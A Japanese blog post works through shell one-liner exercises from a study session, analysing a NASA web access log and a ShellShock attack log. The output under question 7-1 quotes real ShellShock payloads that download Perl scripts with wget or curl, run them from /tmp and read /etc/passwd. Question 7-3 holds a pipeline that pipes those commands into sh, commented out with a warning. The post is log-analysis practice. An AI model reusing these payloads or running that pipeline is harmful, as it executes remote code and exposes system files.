2016/10/23

シェル芸スパルタン演習(第16回シェル芸勉強会編)

ここ最近、Unixシェルに触る機会が減っており、CLIを使う能力の低下を感じていた。
また、近日中に、第25回シェル芸勉強会の開催が予定されており、参加するにあたり予習をしたいとも考えていた。
そこで、過去に開催されたシェル芸勉強会の問題を活用し、シェル芸力をつける演習をおこなうことにした。

今回は、問題として、第16回シェル芸勉強会の設問を用いた。


実行環境

  • Arch Linux 4.8.4-1-ARCH

  • GNU bash 4.3.46

  • GNU coreutils 8.25-2

  • GNU diffutils 3.5-1

  • GNU findutils 4.6.0-2

  • util-linux 2.28.2-1

  • grep (GNU grep) 2.26

  • sed (GNU sed) 4.2.2

  • gawk 4.1.4

  • zcat (GNU gzip) 1.8


シェル芸演習

問題文は、以下のURLから。
http://blog.ueda.asia/?p=5851

模範解答は、こちらから。
http://blog.ueda.asia/?p=5644

前準備1

日時と時刻を正規化する問題。
まず、日時・時刻を正規表現で取り出し、行頭にくっつける。
その後、略称名になっている月名を、数字に変換すればOK。

01 #!/bin/sh
02
03 zcat access_log.nasa.gz                                                                                                                |
04 sed 's;.*[[]\([0-3][0-9]\)/\([A-Z][a-z]*\)/\([1-9][0-9]\{0,3\}\):\([0-9]\{2\}\):\([0-9]\{2\}\):\([0-9]\{2\}\) .*;\3\2\1 \4\5\6 &;'     |
05 awk 'sub(/Jan/, "01", $1); sub(/Feb/, "02", $1); sub(/Mar/, "03", $1); sub(/Apl/, "04", $1); sub(/May/, "05", $1); sub(/Jun/, "06", $1); sub(/Jul/, "07", $1); sub(/Aug/, "08", $1); sub(/Sep/, "09", $1); sub(/Oct/, "10", $1); sub(/Nov/, "11", $1); sub(/Dec/, "12", $1)'

以下、コピペ実行用のワンライナーコード。

zcat access_log.nasa.gz | sed 's;.*[[]\([0-3][0-9]\)/\([A-Z][a-z]*\)/\([1-9][0-9]\{0,3\}\):\([0-9]\{2\}\):\([0-9]\{2\}\):\([0-9]\{2\}\) .*;\3\2\1 \4\5\6 &;' | awk 'sub(/Jan/, "01", $1); sub(/Feb/, "02", $1); sub(/Mar/, "03", $1); sub(/Apl/, "04", $1); sub(/May/, "05", $1); sub(/Jun/, "06", $1); sub(/Jul/, "07", $1); sub(/Aug/, "08", $1); sub(/Sep/, "09", $1); sub(/Oct/, "10", $1); sub(/Nov/, "11", $1); sub(/Dec/, "12", $1)'

前準備2

ログの中身を日付ごとに分割する問題。

awkの特殊変数FILENAMEとリダイレクト機能を利用すれば、シンプルに実現できる。

01 #!/bin/sh
02
03 awk '{print $0 >> FILENAME"."$1}' nasa.log

Tukubai版。キー毎にファイルを分割するkeycutコマンドを使えば、一発。

01 #!/bin/sh
02
03 cat nasa.log     |
04 sort -k 1,1n     |
05 keycut nasa.log.%1 -

Tukubai版、その2。ソートの必要が無いsorterを使って分割。

01 #!/bin/sh
02
03 sorter nasa.log.%1 nasa.log

以下、コピペ実行用のワンライナーコード。

awk '{print $0 >> FILENAME"."$1}' nasa.log
cat nasa.log | sort -k 1,1n | keycut nasa.log.%1 -
sorter nasa.log.%1 nasa.log

問1

アクセスログを、ステータスコード毎に集計する問題。

awkの連想配列を使えば、簡単に集計できる。

01 #!/bin/sh
02
03 cat nasa.log     |
04 awk '{stat[$(NF-1)]++} END{for(n in stat){print n,stat[n]}}'

以下、コピペ実行用のワンライナーコード。

cat nasa.log | awk '{stat[$(NF-1)]++} END{for(n in stat){print n,stat[n]}}'

問2

ファイルを開かずに、ログを日付毎に件数を調べる問題。

前準備2で、日付毎にファイルを分割した事を利用する。

01 #!/bin/sh
02
03 wc -l nasa.log.*     |
04 sed '$d'             |
05 sort -k 1,1nr        |
06 head -n 1            |
07 awk '$0=$2'

以下、コピペ実行用のワンライナーコード。

wc -l nasa.log.* | sed '$d' | sort -k 1,1nr | head -n 1 | awk '$0=$2'

問3

本格的なログ解析をする問題。

問3-1

曜日毎にログ件数を求める問題。

前準備1で、日時を第1フィールドに追加しているので、それを利用すれば良い。
dateコマンドで対応する曜日を出力し、最後に曜日ごとに集計すればOK。

01 #!/bin/sh
02
03 cat nasa.log                |
04 awk '$0=$1'                 |
05 xargs -I@ date -d @ +%A     |
06 sort                        |
07 uniq -c
01 #!/bin/sh
02
03 wc -l nasa.log.*                                 |
04 sed '$d'                                         |
05 awk 'sub(/[^0-9]*/, "", $2)'                     |
06 awk '{print "echo",$1,"; date -d",$2,"+%A"}'     |
07 sh                                               |
08 xargs -n 2                                       |
09 awk '{days[$2]+=$1} END{for(n in days){print n,days[n]}}'

問3-2

今度は、時間帯ごとにログ件数を集計する問題。

これも、awkの連想配列を使えば、簡単に実現できる。
集計関係なら、awkを使えば大抵なんとかなる。

01 #!/bin/sh
02
03 cat nasa.log                                                                      |
04 awk '{sub(/....$/, "", $2); hour[$2]++} END{for(n in hour){print n,hour[n]}}'     |
05 sort -k 1,1n

以下、コピペ実行用のワンライナーコード。

問3-1

cat nasa.log | awk '$0=$1' | xargs -I@ date -d @ +%A | sort | uniq -c
wc -l nasa.log.* | sed '$d' | awk 'sub(/[^0-9]*/, "", $2)' | awk '{print "echo",$1,"; date -d",$2,"+%A"}' | sh | xargs -n 2 | awk '{days[$2]+=$1} END{for(n in days){print n,days[n]}}'

問3-2

cat nasa.log | awk '{sub(/....$/, "", $2); hour[$2]++} END{for(n in hour){print n,hour[n]}}' | sort -k 1,1n

問4

ログに含まれるIPを抽出し、全て192.168で始まっている事を調べる問題。
grep -oでIPアドレスを抽出した後、uniqすれば良い。

01 #!/bin/sh
02
03 zcat access.log.shellshock.gz                                        |
04 grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'     |
05 awk -F. '{print $1"."$2}'                                            |
06 sort                                                                 |
07 uniq

以下、コピペ実行用のワンライナーコード。

zcat access.log.shellshock.gz | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | awk -F. '{print $1"."$2}' | sort | uniq

問5

ログの中から、レスポンスヘッダの送信量が大きいもの上位10件を調べる問題。
今回のログでは、レスポンスヘッダはHTTPステータスコードの次フィールドにあるので、それを抽出して使う。
うまく抽出できたら、sortした後、上位10件を表示すればOK。

01 #!/bin/sh
02
03 zcat access.log_.shellshock.gz                                    |
04 awk -F\" '{print $1,$3}'                                          |
05 awk '{ip[$1]+=$NF} END{for(addr in ip){print addr,ip[addr]}}'     |
06 sort -k 2,2nr                                                     |
07 head -n 10

以下、コピペ実行用のワンライナーコード。

zcat access.log_.shellshock.gz | awk -F\" '{print $1,$3}' | awk '{ip[$1]+=$NF} END{for(addr in ip){print addr,ip[addr]}}' | sort -k 2,2nr | head -n 10

問6

ログが0件の日を調べる問題。

前準備2で、ログを日付ごとに分けているので、それを利用する。
7月8月の全日付と、全ログファイル名の日付を比較し、差分を調べれば良い。

01 #!/bin/bash
02
03 diff <(echo 1995{07,08}{01..31} |awk -vRS=' ' '$1=$1' |sort) <(ls nasa.log.* |sed 's/[^0-9]*//' |sort) |
04 sed -n '/^< /{s///; p}'

Tukubai版。mdateを使って、7月8月の日付を全て列挙した。
7月8月は共に31日まであるので、今回の問題では上記解答でも大丈夫だったけれど、それ以外の場合だとmdateなどを使う必要がある。

01 #!/bin/bash
02
03 diff <(mdate -e 19950701 19950831 |tarr |sort) <(ls nasa.log.* |sed 's/[^0-9]*//' |sort) |
04 sed -n '/^< /{s///; p}'

以下、コピペ実行用のワンライナーコード。

diff <(echo 1995{07,08}{01..31} |awk -vRS=' ' '$1=$1' |sort) <(ls nasa.log.* |sed 's/[^0-9]*//' |sort) | sed -n '/^< /{s///; p}'
diff <(mdate -e 19950701 19950831 |tarr |sort) <(ls nasa.log.* |sed 's/[^0-9]*//' |sort) | sed -n '/^< /{s///; p}'

問7

ShellShockログを本格的に解析する問題。

問7-1

単純に、ログから該当するレコード、フィールドを抽出すれば良い。
抽出できたら、その後は集計する。

01 #!/bin/sh
02
03 zcat access.log_.shellshock.gz                                   |
04 grep '() { :;};'                                                 |
05 awk -F\" '{for(i=6;i<=NF;i++){printf("%s ", $i)}; print ""}'     |
06 sort                                                             |
07 uniq -c                                                          |
08 sort -k 1,1nr

ちなみに、実行結果は次の通り。

62 () { :;};/usr/bin/perl -e 'print \ Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\ ;system(\ wget http://192.168.144.163/guide/lx.pl -O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*\ );' 6 () { :;}; echo Content-Type: text/plain ; echo \ TEST: TEST\ 1 () { :;};/usr/bin/perl -e 'print \ Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\ ;system(\ wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*\ );' 1 () { :;}; echo Content-type:text/plain;echo;echo vulnerable 1 () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd 1 () { :;}; /usr/bin/wget http://192.168.63.155/res.html -O /dev/null; /usr/bin/curl http://192.168.63.155/res.html 1 () { :;}; /bin/bash -c \ wget http://192.168.105.197/bash-count.txt\ 1 () { :;}; /bin/bash -c \ echo testing9123123\ ; /bin/uname -a 1 () { :;}; /bin/bash -c \ cd /tmp;wget http://192.168.30.34/lex ; curl -O http://192.168.30.34/lex ; perl lex ;rm -rf lex\ 1 () { :;}; /bin/bash -c \ cd /tmp;wget 192.168.8.189/use;curl -O 192.168.8.189/use ; perl /tmp/use;rm -rf /tmp/use\

ざっと見た感じ、ShellShock脆弱性を悪用し、怪しげなperlスクリプトを落として実行させようとしている輩が多い印象。

問7-2

問題文の通り、エスケープコードを除去するだけ。
sedで地道に削っていく。

01 #!/bin/sh
02
03 zcat access.log_.shellshock.gz                                   |
04 grep '() { :;};'                                                 |
05 awk -F\" '{for(i=6;i<=NF;i++){printf("%s ", $i)}; print ""}'     |
06 sed 's;\\\\;\\;g'                                                |
07 sed 's;\\ ;;g'

問7-3

ログに含まれるコマンドを実行する問題。
問7_1、7_2の結果を更に整形し、shに入力してやればOK。

01 #!/bin/sh
02
03 zcat access.log_.shellshock.gz                                   |
04 grep '() { :;};'                                                 |
05 awk -F\" '{for(i=6;i<=NF;i++){printf("%s ", $i)}; print ""}'     |
06 sed 's;\\\\;\\;g'                                                |
07 sed 's;\\ ;;g'                                                   |
08 sort                                                             |
09 uniq                                                             |
10 sed 's/^() { :;}; *//' #| sh

以下、コピペ実行用のワンライナーコード。

問7-1

zcat access.log_.shellshock.gz | grep '() { :;};' | awk -F\" '{for(i=6;i<=NF;i++){printf("%s ", $i)}; print ""}' | sort | uniq -c | sort -k 1,1nr

問7-2

zcat access.log_.shellshock.gz | grep '() { :;};' | awk -F\" '{for(i=6;i<=NF;i++){printf("%s ", $i)}; print ""}' | sed 's;\\\\;\\;g' | sed 's;\\ ;;g'

問7-3

危険なので、最後のshのコメントを外す際は、くれぐれもご注意を。

zcat access.log_.shellshock.gz | grep '() { :;};' | awk -F\" '{for(i=6;i<=NF;i++){printf("%s ", $i)}; print ""}' | sed 's;\\\\;\\;g' | sed 's;\\ ;;g' | sort | uniq | sed 's/^() { :;}; *//' #| sh

雑記

  • にゃん。

Tags: シェル芸 Unix
このエントリーをはてなブックマークに追加